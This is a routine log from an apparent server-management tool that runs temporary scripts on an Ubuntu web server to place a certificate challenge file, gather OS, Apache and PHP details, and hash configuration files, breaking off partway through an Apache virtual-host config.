MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 19:59:47: Establishing a connection
2026-01-30 20:13:52: Establishing a connection
2026-01-31 06:00:03: Establishing a connection
2026-01-31 06:00:03: Establishing a connection
2026-01-31 06:00:03: 

PUT: /tmp/pkp421183

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-31 06:00:04: 

chmod 755 /tmp/pkp421183; /tmp/pkp421183; rm /tmp/pkp421183

2026-01-31 06:00:04: 


1


2026-01-31 06:00:05: Establishing a connection
2026-01-31 06:00:05: 

PUT: /tmp/pkp394841

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > beHy4NCld--qFA2yPkZLfaHZtYkyt2FXPiyH5eHlJko <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
beHy4NCld--qFA2yPkZLfaHZtYkyt2FXPiyH5eHlJko.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 beHy4NCld--qFA2yPkZLfaHZtYkyt2FXPiyH5eHlJko


2026-01-31 06:00:05: 

chmod 755 /tmp/pkp394841; /tmp/pkp394841; rm /tmp/pkp394841

2026-01-31 06:00:06: 




2026-01-31 06:00:07: Establishing a remote connection
2026-01-31 10:44:12: Establishing a connection
2026-01-31 10:46:20: Establishing a connection
2026-01-31 11:10:53: Establishing a connection
2026-01-31 11:18:11: Establishing a connection
2026-01-31 11:18:11: Performing Server Status
2026-01-31 11:18:11: 

PUT: /tmp/pkp105593

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-31 11:18:11: 

chmod 755 /tmp/pkp105593; /tmp/pkp105593; rm /tmp/pkp105593

2026-01-31 11:18:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-94-generic



2026-01-31 11:18:11: 

PUT: /tmp/pkp466052

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-31 11:18:11: 

chmod 755 /tmp/pkp466052; /tmp/pkp466052; rm /tmp/pkp466052

2026-01-31 11:18:11: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 872
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         872  0.0  0.9 324760 39180 ?        Ss   Jan30   0:06 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-01-31 11:18:11: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-01-31 11:18:11: 

PUT: /tmp/pkp718437

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-01-31 11:18:12: 

chmod 755 /tmp/pkp718437; /tmp/pkp718437; rm /tmp/pkp718437

2026-01-31 11:18:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-01-31 11:18:12: 

PUT: /tmp/pkp197041

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-01-31 11:18:12: 

chmod 755 /tmp/pkp197041; /tmp/pkp197041; rm /tmp/pkp197041

2026-01-31 11:18:12: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.17


2026-01-31 11:18:12: 

PUT: /tmp/pkp202271

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-31 11:18:12: 

chmod 755 /tmp/pkp202271; /tmp/pkp202271; rm /tmp/pkp202271

2026-01-31 11:18:12: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-01-31 11:18:12: 

PUT: /tmp/pkp164092

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-01-31 11:18:12: 

chmod 755 /tmp/pkp164092; /tmp/pkp164092; rm /tmp/pkp164092

2026-01-31 11:18:12: 


status=ok


2026-01-31 11:18:12: 

PUT: /tmp/pkp869352

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-31 11:18:12: 

chmod 755 /tmp/pkp869352; /tmp/pkp869352; rm /tmp/pkp869352

2026-01-31 11:18:13: 
2026-01-31 11:18:13: 

PUT: /tmp/pkp745638

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-31 11:18:13: 

chmod 755 /tmp/pkp745638; /tmp/pkp745638; rm /tmp/pkp745638

2026-01-31 11:18:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphian_www_video.conf	1374

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]

</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
